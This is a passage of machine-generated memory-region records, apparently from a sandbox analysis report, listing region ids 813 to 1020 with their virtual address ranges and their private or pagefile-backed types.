813 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 814 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 815 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 816 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 817 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 818 start_va = 0x7e0000 end_va = 0x7e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 819 start_va = 0x7ff9ff3d0000 end_va = 0x7ff9ff3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3d0000" filename = "" Region: id = 820 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 821 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 822 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 823 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 824 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 825 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 826 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 827 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 828 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 829 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 830 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 831 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 832 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 833 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 834 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 835 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 836 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 837 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 838 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 839 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 840 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 841 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 842 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 843 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 844 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 845 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 846 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 847 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 848 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 849 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 850 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 851 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 852 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 853 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 854 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 855 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 856 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 857 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 858 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 859 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 860 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 861 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 862 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 863 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 864 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 865 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 866 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 867 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 868 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 869 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 870 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 871 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 872 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 873 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 874 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 875 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 876 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 877 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 878 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 879 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 880 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 881 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 882 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 883 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 884 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 885 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 886 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 887 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 888 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 889 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 890 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 891 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 892 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 893 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 894 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 895 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 896 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 897 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 898 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 899 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 900 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 901 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 902 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 903 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 904 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 905 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 906 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 907 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 908 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 909 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 910 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 911 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 912 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 913 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 914 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 915 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 916 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 917 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 918 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 919 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 920 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 921 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 922 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 923 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 924 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 925 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 926 start_va = 0x7c0000 end_va = 0x7c5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 927 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 928 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 929 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 930 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 931 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 932 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 933 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 934 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 935 start_va = 0x7d0000 end_va = 0x7d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 936 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 937 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 938 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 939 start_va = 0x7f0000 end_va = 0x7fbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 940 start_va = 0x7ff9ff3e0000 end_va = 0x7ff9ff3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3e0000" filename = "" Region: id = 941 start_va = 0x7ff9ff3f0000 end_va = 0x7ff9ff3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff3f0000" filename = "" Region: id = 942 start_va = 0x1b610000 end_va = 0x1b70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b610000" filename = "" Region: id = 943 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 944 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 945 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 946 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 947 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 948 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 949 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 950 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 951 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 952 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 953 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 954 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 955 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 956 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 957 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 958 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 959 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 960 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 961 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 962 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 963 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 964 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 965 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 966 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 967 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 968 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 969 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 970 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 971 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 972 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 973 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 974 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 975 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 976 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 977 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 978 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 979 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 980 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 981 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 982 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 983 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 984 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 985 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 986 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 987 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 988 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 989 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 990 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 991 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 992 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 993 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 994 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 995 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 996 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 997 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 998 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 999 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1000 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1001 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1002 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1003 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1004 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1005 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1006 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1007 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1008 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1009 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1010 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 1011 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1012 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1013 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1014 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1015 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1016 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1017 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1018 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1019 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1020 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = 